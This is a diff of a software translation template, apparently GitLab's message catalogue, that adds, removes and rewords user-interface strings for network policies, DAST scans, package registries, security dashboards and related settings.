@@ -15826,6 +16316,9 @@ msgstr ""
msgid "NetworkPolicies|Define this policy's location, conditions and actions."
msgstr ""
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
msgid "NetworkPolicies|Description"
msgstr ""
@@ -15838,6 +16331,9 @@ msgstr ""
msgid "NetworkPolicies|Environment does not have deployment platform"
msgstr ""
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
msgstr ""
@@ -15856,12 +16352,18 @@ msgstr ""
msgid "NetworkPolicies|Network Policy"
msgstr ""
+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
msgid "NetworkPolicies|New policy"
msgstr ""
msgid "NetworkPolicies|No policies detected"
msgstr ""
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
msgstr ""
@@ -15886,9 +16388,15 @@ msgstr ""
msgid "NetworkPolicies|Policy type"
msgstr ""
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
msgid "NetworkPolicies|Rule mode"
msgstr ""
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
msgid "NetworkPolicies|Rules"
msgstr ""
@@ -15901,9 +16409,54 @@ msgstr ""
msgid "NetworkPolicies|Status"
msgstr ""
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
msgid "NetworkPolicies|YAML editor"
msgstr ""
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -16296,12 +16849,18 @@ msgstr ""
msgid "No required pipeline"
msgstr ""
+msgid "No runner executable"
+msgstr ""
+
msgid "No runners found"
msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No source selected"
+msgstr ""
+
msgid "No stack trace for this error"
msgstr ""
@@ -16389,18 +16948,12 @@ msgstr ""
msgid "Not started"
msgstr ""
-msgid "Not-confidential epic cannot be assigned to a confidential parent epic"
-msgstr ""
-
msgid "Note"
msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
-msgid "Note that PostgreSQL %{pg_version_upcoming} will become the minimum required version in GitLab %{gl_version_upcoming} (%{gl_version_upcoming_date}). Please consider upgrading your environment to a supported PostgreSQL version soon, see <a href=\"%{pg_version_upcoming_url}\">the related epic</a> for details."
-msgstr ""
-
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -16548,9 +17101,6 @@ msgstr ""
msgid "Novice"
msgstr ""
-msgid "Now you can access the merge request navigation tabs at the top, where they’re easier to find."
-msgstr ""
-
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
@@ -16590,9 +17140,6 @@ msgstr ""
msgid "Number of files touched"
msgstr ""
-msgid "OAuth configuration for GitHub missing."
-msgstr ""
-
msgid "OK"
msgstr ""
@@ -16635,21 +17182,27 @@ msgstr ""
msgid "OnDemandScans|Attached branch is where the scan job runs."
msgstr ""
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not run the scan. Please try again."
msgstr ""
-msgid "OnDemandScans|Could not run the scan: %{backendErrorMessage}"
+msgid "OnDemandScans|Create a new site profile"
msgstr ""
msgid "OnDemandScans|Create new DAST scan"
msgstr ""
-msgid "OnDemandScans|DAST will scan the target URL and any discovered sub URLs."
+msgid "OnDemandScans|Manage profiles"
msgstr ""
msgid "OnDemandScans|New on-demand DAST scan"
msgstr ""
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
msgid "OnDemandScans|On-demand Scans"
msgstr ""
@@ -16659,25 +17212,31 @@ msgstr ""
msgid "OnDemandScans|Only a passive scan can be performed on demand."
msgstr ""
-msgid "OnDemandScans|Passive DAST Scan"
+msgid "OnDemandScans|Passive"
msgstr ""
-msgid "OnDemandScans|Please enter a valid URL format, ex: http://www.example.com/home"
+msgid "OnDemandScans|Run scan"
msgstr ""
-msgid "OnDemandScans|Run this scan"
+msgid "OnDemandScans|Scan mode"
msgstr ""
-msgid "OnDemandScans|Scan mode"
+msgid "OnDemandScans|Scanner settings"
msgstr ""
msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Target URL"
+msgid "OnDemandScans|Select one of the existing profiles"
+msgstr ""
+
+msgid "OnDemandScans|Site profiles"
+msgstr ""
+
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
@@ -16736,9 +17295,6 @@ msgstr ""
msgid "Only active this projects shows up in the search and on the dashboard."
msgstr ""
-msgid "Only admins"
-msgstr ""
-
msgid "Only admins can delete project"
msgstr ""
@@ -16757,6 +17313,9 @@ msgstr ""
msgid "Only project members will be imported. Group members will be skipped."
msgstr ""
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
msgid "Only verified users with an email address in any of these domains can be added to the group."
msgstr ""
@@ -16772,9 +17331,15 @@ msgstr ""
msgid "Open Selection"
msgstr ""
+msgid "Open Web IDE"
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr ""
+msgid "Open epics"
+msgstr ""
+
msgid "Open errors"
msgstr ""
@@ -16895,18 +17460,12 @@ msgstr ""
msgid "Outbound requests"
msgstr ""
-msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
-msgstr ""
-
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
msgstr ""
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr ""
-msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
-msgstr ""
-
msgid "Outdent"
msgstr ""
@@ -16940,9 +17499,6 @@ msgstr ""
msgid "Package deleted successfully"
msgstr ""
-msgid "Package information"
-msgstr ""
-
msgid "Package recipe already exists"
msgstr ""
@@ -17027,6 +17583,12 @@ msgstr ""
msgid "PackageRegistry|Copy npm setup command"
msgstr ""
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
msgid "PackageRegistry|Copy yarn command"
msgstr ""
@@ -17042,6 +17604,9 @@ msgstr ""
msgid "PackageRegistry|Filter by name"
msgstr ""
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
@@ -17060,9 +17625,6 @@ msgstr ""
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
msgstr ""
-msgid "PackageRegistry|Installation"
-msgstr ""
-
msgid "PackageRegistry|Is your favorite package manager missing? We'd love your help in building first-class support for it into GitLab! %{contributionLinkStart}Visit the contribution documentation%{contributionLinkEnd} to learn more about how to build support for new package managers into GitLab. Below is a list of package managers that are on our radar."
msgstr ""
@@ -17099,27 +17661,18 @@ msgstr ""
msgid "PackageRegistry|Pip Command"
msgstr ""
-msgid "PackageRegistry|Pipeline %{linkStart}%{linkEnd} triggered %{timestamp} by %{author}"
-msgstr ""
-
msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
msgstr ""
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Published to the repository at %{timestamp}"
-msgstr ""
-
msgid "PackageRegistry|PyPi"
msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
-msgid "PackageRegistry|Registry Setup"
-msgstr ""
-
msgid "PackageRegistry|Remove package"
msgstr ""
@@ -17168,13 +17721,19 @@ msgstr ""
msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
msgstr ""
-msgid "PackageRegistry|npm"
+msgid "PackageRegistry|composer.json registry include"
+msgstr ""
+
+msgid "PackageRegistry|composer.json require package include"
+msgstr ""
+
+msgid "PackageRegistry|npm command"
msgstr ""
msgid "PackageRegistry|published by %{author}"
msgstr ""
-msgid "PackageRegistry|yarn"
+msgid "PackageRegistry|yarn command"
msgstr ""
msgid "PackageType|Composer"
@@ -17318,7 +17877,7 @@ msgstr ""
msgid "Password successfully changed"
msgstr ""
-msgid "Password was successfully updated. Please login with it"
+msgid "Password was successfully updated. Please sign in again."
msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
@@ -17822,6 +18381,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
msgid "Please contact your administrator."
msgstr ""
@@ -17975,13 +18537,13 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
+msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
+msgid "Preferences|Customize integrations with third party services."
msgstr ""
-msgid "Preferences|Default dashboard"
+msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
@@ -17993,6 +18555,9 @@ msgstr ""
msgid "Preferences|For example: 30 mins ago."
msgstr ""
+msgid "Preferences|Homepage content"
+msgstr ""
+
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
@@ -18284,15 +18849,9 @@ msgstr ""
msgid "Profiles|Default notification email"
msgstr ""
-msgid "Profiles|Delete Account"
-msgstr ""
-
msgid "Profiles|Delete account"
msgstr ""
-msgid "Profiles|Delete your account?"
-msgstr ""
-
msgid "Profiles|Deleting an account has the following effects:"
msgstr ""
@@ -18683,6 +19242,9 @@ msgstr ""
msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
msgstr ""
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "Project: %{name}"
msgstr ""
@@ -18707,6 +19269,9 @@ msgstr ""
msgid "ProjectFileTree|Name"
msgstr ""
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
msgid "ProjectLastActivity|Never"
msgstr ""
@@ -19298,7 +19863,7 @@ msgstr ""
msgid "PrometheusAlerts|Operator"
msgstr ""
-msgid "PrometheusAlerts|Runbook"
+msgid "PrometheusAlerts|Runbook URL (optional)"
msgstr ""
msgid "PrometheusAlerts|Select query"
@@ -19307,10 +19872,19 @@ msgstr ""
msgid "PrometheusAlerts|Threshold"
msgstr ""
-msgid "PrometheusService|%{exporters} with %{metrics} were found"
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
+msgstr ""
+
+msgid "PrometheusAlerts|is equal to"
msgstr ""
-msgid "PrometheusService|<p class=\"text-tertiary\">No <a href=\"%{docsUrl}\">common metrics</a> were found</p>"
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
+msgid "PrometheusService|%{exporters} with %{metrics} were found"
msgstr ""
msgid "PrometheusService|Active"
@@ -19370,6 +19944,9 @@ msgstr ""
msgid "PrometheusService|New metric"
msgstr ""
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
@@ -19424,6 +20001,9 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotion is not supported."
+msgstr ""
+
msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
msgstr ""
@@ -19505,6 +20085,9 @@ msgstr ""
msgid "Prompt users to upload SSH keys"
msgstr ""
+msgid "Protect"
+msgstr ""
+
msgid "Protect variable"
msgstr ""
@@ -19835,9 +20418,6 @@ msgstr ""
msgid "Recent searches"
msgstr ""
-msgid "Recipe"
-msgstr ""
-
msgid "Reconfigure"
msgstr ""
@@ -19933,6 +20513,9 @@ msgstr ""
msgid "Registration|Your profile"
msgstr ""
+msgid "Registry setup"
+msgstr ""
+
msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
msgstr ""
@@ -20025,6 +20608,9 @@ msgstr ""
msgid "Releases|New Release"
msgstr ""
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
msgid "Release|Something went wrong while getting the release details"
msgstr ""
@@ -20067,6 +20653,9 @@ msgstr ""
msgid "Remove all or specific label(s)"
msgstr ""
+msgid "Remove approver"
+msgstr ""
+
msgid "Remove approvers"
msgstr ""
@@ -20136,9 +20725,6 @@ msgstr ""
msgid "Remove priority"
msgstr ""
-msgid "Remove project"
-msgstr ""
-
msgid "Remove secondary node"
msgstr ""
@@ -20172,9 +20758,6 @@ msgstr ""
msgid "Removed %{type} with id %{id}"
msgstr ""
-msgid "Removed Projects"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
@@ -20187,12 +20770,6 @@ msgstr ""
msgid "Removed parent epic %{epic_ref}."
msgstr ""
-msgid "Removed projects"
-msgstr ""
-
-msgid "Removed projects cannot be restored!"
-msgstr ""
-
msgid "Removed spent time."
msgstr ""
@@ -20241,15 +20818,9 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing a project places it into a read-only state until %{date}, at which point the project will be permanently removed. Are you ABSOLUTELY sure?"
-msgstr ""
-
msgid "Removing license…"
msgstr ""
-msgid "Removing the project will delete its repository and all related resources including issues, merge requests etc."
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -20432,9 +21003,6 @@ msgstr ""
msgid "Repository Settings"
msgstr ""
-msgid "Repository URL"
-msgstr ""
-
msgid "Repository check"
msgstr ""
@@ -20622,9 +21190,15 @@ msgstr ""
msgid "Resolve all threads in new issue"
msgstr ""
+msgid "Resolve conflicts"
+msgstr ""
+
msgid "Resolve conflicts on source branch"
msgstr ""
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
msgid "Resolve thread"
msgstr ""
@@ -20804,6 +21378,9 @@ msgstr ""
msgid "Rook"
msgstr ""
+msgid "Rule name is already taken."
+msgstr ""
+
msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
msgstr ""
@@ -20816,6 +21393,9 @@ msgstr ""
msgid "Run housekeeping"
msgstr ""
+msgid "Run manual or delayed jobs"
+msgstr ""
+
msgid "Run tests against your code live using the Web Terminal"
msgstr ""
@@ -20942,6 +21522,9 @@ msgstr ""
msgid "Save Changes"
msgstr ""
+msgid "Save Push Rules"
+msgstr ""
+
msgid "Save anyway"
msgstr ""
@@ -20972,6 +21555,9 @@ msgstr ""
msgid "Save variables"
msgstr ""
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
msgid "Saving"
msgstr ""
@@ -21020,6 +21606,9 @@ msgstr ""
msgid "Scopes can't be blank"
msgstr ""
+msgid "Score"
+msgstr ""
+
msgid "Scroll down"
msgstr ""
@@ -21062,6 +21651,9 @@ msgstr ""
msgid "Search branches and tags"
msgstr ""
+msgid "Search branches, tags, and commits"
+msgstr ""
+
msgid "Search by Git revision"
msgstr ""
@@ -21259,6 +21851,9 @@ msgstr ""
msgid "Secondary"
msgstr ""
+msgid "Seconds"
+msgstr ""
+
msgid "Secret"
msgstr ""
@@ -21286,13 +21881,37 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilties of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires license policy rules for licenses of Allowed, or Denied. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. More advanced configuration options exist, which you can add to the configuration file this tool generates. It's important to note that if you make any configurations, they will be saved as overrides and will be %{strongStart}excluded from automatic updates%{strongEnd}."
+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "SecurityConfiguration|Create Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Enable"
msgstr ""
msgid "SecurityConfiguration|Enable via Merge Request"
@@ -21313,6 +21932,9 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|SAST Configuration"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -21340,7 +21962,7 @@ msgstr ""
msgid "SecurityReports|Add a project to your dashboard"
msgstr ""
-msgid "SecurityReports|Add or remove projects from your dashboard"
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr ""
msgid "SecurityReports|Add projects"
@@ -21376,13 +21998,10 @@ msgstr ""
msgid "SecurityReports|Download Report"
msgstr ""
-msgid "SecurityReports|Each vulnerability now has a unique page that can be directly linked to, shared, referenced, and tracked as the single source of truth. Vulnerability occurrences also persist across scanner runs, which improves tracking and visibility and reduces duplicates between scans."
-msgstr ""
-
-msgid "SecurityReports|Edit dashboard"
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr ""
-msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
msgstr ""
msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
@@ -21397,19 +22016,13 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
-msgid "SecurityReports|Group Security Dashboard"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
-msgid "SecurityReports|Introducing standalone vulnerabilities"
-msgstr ""
-
msgid "SecurityReports|Issue Created"
msgstr ""
-msgid "SecurityReports|Learn more"
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
@@ -21421,6 +22034,9 @@ msgstr ""
msgid "SecurityReports|Monitor vulnerabilities in your code"
msgstr ""
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
msgid "SecurityReports|More info"
msgstr ""
@@ -21439,13 +22055,13 @@ msgstr ""
msgid "SecurityReports|Project"
msgstr ""
-msgid "SecurityReports|Projects added"
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
msgstr ""
-msgid "SecurityReports|Remove project from dashboard"
+msgid "SecurityReports|Projects added"
msgstr ""
-msgid "SecurityReports|Return to dashboard"
+msgid "SecurityReports|Remove project from dashboard"
msgstr ""
msgid "SecurityReports|Scan details"
@@ -21517,7 +22133,7 @@ msgstr ""
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
-msgid "SecurityReports|Unable to add %{invalidProjectsMessage}"
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
msgstr ""
msgid "SecurityReports|Unable to add %{invalidProjects}"
@@ -21526,6 +22142,9 @@ msgstr ""
msgid "SecurityReports|Undo dismiss"
msgstr ""
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
@@ -21556,9 +22175,6 @@ msgstr ""
msgid "See what's new at GitLab"
msgstr ""
-msgid "See your pipeline in action"
-msgstr ""
-
msgid "Select"
msgstr ""
@@ -21682,6 +22298,9 @@ msgstr ""
msgid "Select shards to replicate"
msgstr ""
+msgid "Select source"
+msgstr ""
+
msgid "Select source branch"
msgstr ""
@@ -21712,6 +22331,9 @@ msgstr ""
msgid "Select timezone"
msgstr ""
+msgid "Select type"
+msgstr ""
+
msgid "Select user"
msgstr ""
@@ -21901,6 +22523,12 @@ msgstr ""
msgid "Service Desk is enabled but not yet active"
msgstr ""
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
msgid "Service Templates"
msgstr ""
@@ -21913,6 +22541,12 @@ msgstr ""
msgid "Set %{epic_ref} as the parent epic."
msgstr ""
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
msgid "Set a default template for issue descriptions."
msgstr ""
@@ -22229,19 +22863,19 @@ msgstr ""
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
-msgid "Showing Latest Version"
+msgid "Showing all issues"
msgstr ""
-msgid "Showing Version #%{versionNumber}"
+msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
-msgid "Showing all issues"
+msgid "Showing last %{size} of log -"
msgstr ""
-msgid "Showing graphs based on events of the last %{timerange} days."
+msgid "Showing latest version"
msgstr ""
-msgid "Showing last %{size} of log -"
+msgid "Showing version #%{versionNumber}"
msgstr ""
msgid "Side-by-side"
@@ -22337,6 +22971,9 @@ msgstr ""
msgid "Similar issues"
msgstr ""
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
msgid "Single or combined queries"
msgstr ""
@@ -22379,7 +23016,7 @@ msgstr ""
msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
msgstr ""
-msgid "SlackIntegration|This service send notifications about projects' events to Slack channels. To set up this service:"
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
msgstr ""
msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
@@ -22430,12 +23067,21 @@ msgstr ""
msgid "SnippetsEmptyState|There are no snippets to show."
msgstr ""
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
msgid "Snippets|Description (optional)"
msgstr ""
msgid "Snippets|File"
msgstr ""
+msgid "Snippets|Files"
+msgstr ""
+
msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
msgstr ""
@@ -22493,6 +23139,9 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
msgid "Something went wrong when toggling the button"
msgstr ""
@@ -22622,10 +23271,10 @@ msgstr ""
msgid "Something went wrong, unable to add projects to dashboard"
msgstr ""
-msgid "Something went wrong, unable to get projects"
+msgid "Something went wrong, unable to delete project"
msgstr ""
-msgid "Something went wrong, unable to remove project"
+msgid "Something went wrong, unable to get projects"
msgstr ""
msgid "Something went wrong, unable to search projects"
@@ -23522,6 +24171,9 @@ msgstr ""
msgid "Switch to the source to copy the file contents"
msgstr ""
+msgid "Symbolic link"
+msgstr ""
+
msgid "Sync information"
msgstr ""
@@ -23570,6 +24222,9 @@ msgstr ""
msgid "Tag name"
msgstr ""
+msgid "Tag name is required"
+msgstr ""
+
msgid "Tag this commit."
msgstr ""
@@ -23582,6 +24237,9 @@ msgstr ""
msgid "Tags"
msgstr ""
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
msgid "Tags feed"
msgstr ""
@@ -23763,6 +24421,12 @@ msgstr ""
msgid "Test"
msgstr ""
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
msgid "Test coverage parsing"
msgstr ""
@@ -23831,9 +24495,6 @@ msgstr ""
msgid "TestReports|There was an error fetching the summary."
msgstr ""
-msgid "TestReports|There was an error fetching the test reports."
-msgstr ""
-
msgid "TestReports|There was an error fetching the test suite."
msgstr ""
@@ -23870,15 +24531,12 @@ msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
-msgid "The %{true_up_link_start}true-up model%{link_end} has a retroactive charge for these users at the next renewal. If you want to update your license sooner to prevent this, %{support_link_start}please contact our Support team%{link_end}."
-msgstr ""
-
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] ""
msgstr[1] ""
-msgid "The Advanced Global Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
@@ -23905,6 +24563,9 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
@@ -23935,6 +24596,9 @@ msgstr ""
msgid "The commit does not exist"
msgstr ""
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -23989,6 +24653,12 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "The following items will NOT be exported:"
msgstr ""
@@ -24090,13 +24760,13 @@ msgstr ""
msgid "The number of changes to be fetched from GitLab when cloning a repository. This can speed up Pipelines execution. Keep empty or set to 0 to disable shallow clone by default and make GitLab CI fetch all branches and tags each time."
msgstr ""
-msgid "The number of merge requests merged to the master branch by month."
+msgid "The number of merge requests merged by month."
msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
-msgid "The one place for your designs"
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
@@ -24135,6 +24805,9 @@ msgstr ""
msgid "The project can be accessed without any authentication."
msgstr ""
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
msgstr ""
@@ -24252,6 +24925,9 @@ msgstr ""
msgid "There are currently no events."
msgstr ""
+msgid "There are merge conflicts"
+msgstr ""
+
msgid "There are no %{replicableTypeName} to show"
msgstr ""
@@ -24327,12 +25003,15 @@ msgstr ""
msgid "There is already a repository with that name on disk"
msgstr ""
-msgid "There is no data available."
+msgid "There is no chart data available."
msgstr ""
msgid "There is no data available. Please change your selection."
msgstr ""
+msgid "There is no table data available."
+msgstr ""
+
msgid "There is too much data to calculate. Please change your selection."
msgstr ""
@@ -24345,6 +25024,9 @@ msgstr ""
msgid "There was a problem fetching labels."
msgstr ""
+msgid "There was a problem fetching milestones."
+msgstr ""
+
msgid "There was a problem fetching project branches."
msgstr ""
@@ -24495,19 +25177,19 @@ msgstr ""
msgid "There was an error when unsubscribing from this label."
